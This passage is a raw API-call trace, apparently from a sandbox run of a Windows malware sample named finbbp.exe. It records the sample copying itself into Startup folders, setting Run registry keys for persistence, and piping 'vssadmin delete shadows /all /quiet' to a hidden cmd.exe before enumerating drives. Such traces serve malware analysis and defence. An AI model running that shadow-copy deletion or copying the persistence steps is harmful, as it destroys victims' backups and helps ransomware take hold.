lpMem=0x6ada98 | out: hHeap=0x670000) returned 1 [0216.826] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0216.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0216.830] ReadFile (in: hFile=0x240, lpBuffer=0x235d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x235d020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0216.848] WriteFile (in: hFile=0x244, lpBuffer=0x235d020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x235d020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0216.852] ReadFile (in: hFile=0x240, lpBuffer=0x235d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x235d020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0216.852] CloseHandle (hObject=0x244) returned 1 [0216.854] CloseHandle (hObject=0x240) returned 1 [0216.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3080 [0216.855] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3080, Size=0x20) returned 0x6adb10 [0216.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b2fd8 [0216.855] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b2fd8, Size=0x20) returned 0x6ad9a8 [0216.855] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.855] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.855] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.855] lstrlenW (lpString="kernel32.dll") returned 12 [0216.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9a8 | out: hHeap=0x670000) returned 1 [0216.855] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb10 | out: hHeap=0x670000) returned 1 [0216.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x235d020 | out: hHeap=0x670000) returned 1 [0216.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3068 [0216.861] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3068, Size=0x20) returned 0x6ad9a8 [0216.861] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9a8, Size=0x40) returned 0x687550 [0216.861] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687550, Size=0x80) returned 0x6f5450 [0216.861] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\finbbp.exe") returned 42 [0216.861] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0216.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5c) returned 0x6b3c88 [0216.861] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0216.861] RegSetValueExW (hKey=0x240, lpValueName="finbbp.exe", Reserved=0x0, dwType=0x1, lpData=0x6b4fc8, cbData=0x54) returned 0x5 [0216.861] RegCloseKey (hKey=0x240) returned 0x0 [0216.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3c88 | out: hHeap=0x670000) returned 1 [0216.861] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\finbbp.exe") returned 42 [0216.861] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0216.861] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5c) returned 0x6b3c88 [0216.862] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0216.863] RegSetValueExW (in: hKey=0x244, lpValueName="finbbp.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\finbbp.exe", cbData=0x54 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\finbbp.exe") returned 0x0 [0216.863] RegCloseKey (hKey=0x244) returned 0x0 [0216.863] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3c88 | out: hHeap=0x670000) returned 1 [0216.864] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0216.864] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5450 | out: hHeap=0x670000) returned 1 [0216.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6d4fd8 [0216.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6e4fe0 [0216.864] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b31d0 [0216.864] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b31d0, Size=0x20) returned 0x6ad9a8 [0216.864] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9a8, Size=0x40) returned 0x687748 [0216.864] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687748, Size=0x80) returned 0x6f53c8 [0216.864] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f53c8, Size=0x100) returned 0x6b3808 [0216.864] lstrlenW (lpString="") returned 0 [0216.864] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.865] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c) returned 0x6b3910 [0216.865] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0216.865] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6e4fe0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6e4fe0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0216.865] RegCloseKey (hKey=0x244) returned 0x0 [0216.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3910 | out: hHeap=0x670000) returned 1 [0216.865] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.865] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c) returned 0x6b3910 [0216.865] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0216.865] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6e4fe0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0216.865] RegCloseKey (hKey=0x244) returned 0x0 [0216.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3910 | out: hHeap=0x670000) returned 1 [0216.865] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0216.865] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3808 | out: hHeap=0x670000) returned 1 [0216.865] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpDst=0x6d4fd8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe") returned 0x59 [0216.865] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6e4fe0 | out: hHeap=0x670000) returned 1 [0216.866] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4fd8 | out: hHeap=0x670000) returned 1 [0216.866] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x2358020 [0216.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3080 [0216.869] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3080, Size=0x20) returned 0x6ad908 [0216.869] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b31e8 [0216.869] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b31e8, Size=0x20) returned 0x6adb38 [0216.869] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.869] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.869] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.869] lstrlenW (lpString="kernel32.dll") returned 12 [0216.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad908 | out: hHeap=0x670000) returned 1 [0216.870] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.870] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb38 | out: hHeap=0x670000) returned 1 [0216.870] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0216.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0216.871] ReadFile (in: hFile=0x244, lpBuffer=0x2358020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2358020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0216.883] WriteFile (in: hFile=0x248, lpBuffer=0x2358020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2358020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0216.891] ReadFile (in: hFile=0x244, lpBuffer=0x2358020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2358020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0216.891] CloseHandle (hObject=0x248) returned 1 [0216.899] CloseHandle (hObject=0x244) returned 1 [0216.899] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b31d0 [0216.899] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b31d0, Size=0x20) returned 0x6ad9f8 [0216.899] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3020 [0216.899] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3020, Size=0x20) returned 0x6adbb0 [0216.899] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.900] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.900] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.900] lstrlenW (lpString="kernel32.dll") returned 12 [0216.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adbb0 | out: hHeap=0x670000) returned 1 [0216.900] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9f8 | out: hHeap=0x670000) returned 1 [0216.900] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2358020 | out: hHeap=0x670000) returned 1 [0216.906] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6d4fd8 [0216.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6e4fe0 [0216.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3200 [0216.907] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3200, Size=0x20) returned 0x6adb60 [0216.907] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb60, Size=0x40) returned 0x687550 [0216.907] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687550, Size=0x80) returned 0x6f5780 [0216.907] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5780, Size=0x100) returned 0x6b3808 [0216.907] lstrlenW (lpString="") returned 0 [0216.907] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c) returned 0x6b3910 [0216.907] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0216.908] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6e4fe0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0216.908] RegCloseKey (hKey=0x244) returned 0x0 [0216.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3910 | out: hHeap=0x670000) returned 1 [0216.908] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0216.908] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3808 | out: hHeap=0x670000) returned 1 [0216.908] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpDst=0x6d4fd8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe") returned 0x48 [0216.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6e4fe0 | out: hHeap=0x670000) returned 1 [0216.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4fd8 | out: hHeap=0x670000) returned 1 [0216.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x2358020 [0216.912] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3080 [0216.913] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3080, Size=0x20) returned 0x6ad908 [0216.913] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b31b8 [0216.913] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b31b8, Size=0x20) returned 0x6adb10 [0216.913] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.913] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.913] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.913] lstrlenW (lpString="kernel32.dll") returned 12 [0216.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad908 | out: hHeap=0x670000) returned 1 [0216.913] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb10 | out: hHeap=0x670000) returned 1 [0216.913] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0216.913] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.914] CloseHandle (hObject=0x244) returned 1 [0216.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3110 [0216.914] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3110, Size=0x20) returned 0x6ada98 [0216.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30c8 [0216.914] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30c8, Size=0x20) returned 0x6adb88 [0216.914] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.915] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.915] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.915] lstrlenW (lpString="kernel32.dll") returned 12 [0216.915] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb88 | out: hHeap=0x670000) returned 1 [0216.915] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.915] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada98 | out: hHeap=0x670000) returned 1 [0216.915] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2358020 | out: hHeap=0x670000) returned 1 [0216.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b4fc8 | out: hHeap=0x670000) returned 1 [0216.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c4fd0 | out: hHeap=0x670000) returned 1 [0216.920] lstrlenW (lpString="%windir%\\System32") returned 17 [0216.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6877d8 | out: hHeap=0x670000) returned 1 [0216.920] lstrlenW (lpString="%appdata%") returned 9 [0216.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9d0 | out: hHeap=0x670000) returned 1 [0216.920] lstrlenW (lpString="%sh(Startup)%") returned 13 [0216.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada48 | out: hHeap=0x670000) returned 1 [0216.920] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0216.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6874c0 | out: hHeap=0x670000) returned 1 [0216.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3110 [0216.921] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3110, Size=0x20) returned 0x6adb10 [0216.921] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb10, Size=0x40) returned 0x6877d8 [0216.921] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6877d8, Size=0x80) returned 0x6f5de0 [0216.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3158 [0216.921] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3158, Size=0x20) returned 0x6ad9a8 [0216.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1fffc) returned 0x6b4fc8 [0216.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6d4fd0 [0216.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6e4fd8 [0216.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3038 [0216.922] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3038, Size=0x20) returned 0x6adb10 [0216.922] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb10, Size=0x40) returned 0x6874c0 [0216.922] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6874c0, Size=0x80) returned 0x6f52b8 [0216.922] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f52b8, Size=0x100) returned 0x6b3808 [0216.922] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3808 | out: hHeap=0x670000) returned 1 [0216.922] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6d4fd0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0216.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6e4fd8 | out: hHeap=0x670000) returned 1 [0216.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4fd0 | out: hHeap=0x670000) returned 1 [0216.923] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0216.927] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0216.927] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0216.943] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0216.943] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdb0, dwThreadId=0xdb4)) returned 1 [0217.020] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0217.020] WriteFile (in: hFile=0x24c, lpBuffer=0x6f5de0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6f5de0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0217.020] CloseHandle (hObject=0x25c) returned 1 [0217.020] CloseHandle (hObject=0x258) returned 1 [0217.020] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b4fc8 | out: hHeap=0x670000) returned 1 [0217.021] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0217.021] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5de0 | out: hHeap=0x670000) returned 1 [0217.021] lstrlenW (lpString="%comspec%") returned 9 [0217.021] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9a8 | out: hHeap=0x670000) returned 1 [0217.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0217.022] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b30e0 [0217.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6b30e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0217.023] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6ade40 [0217.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6ade40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0217.023] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3080 [0217.023] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3080, Size=0x20) returned 0x6adb60 [0217.023] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb60, Size=0x40) returned 0x6874c0 [0217.023] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0217.023] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x68bad0 [0217.023] GetLogicalDrives () returned 0x4 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10014) returned 0x6b4fc8 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30c8 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30c8, Size=0x20) returned 0x6adb88 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb88, Size=0x40) returned 0x687550 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687550, Size=0x80) returned 0x6f5b38 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5b38, Size=0x100) returned 0x6b3898 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x200) returned 0x6b3898 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x400) returned 0x6f5ff0 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5ff0, Size=0x800) returned 0x6f5ff0 [0217.024] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5ff0, Size=0x1000) returned 0x6f5ff0 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x6c4fe8 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b31b8 [0217.024] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b31e8 [0217.024] RtlAllocateHeap 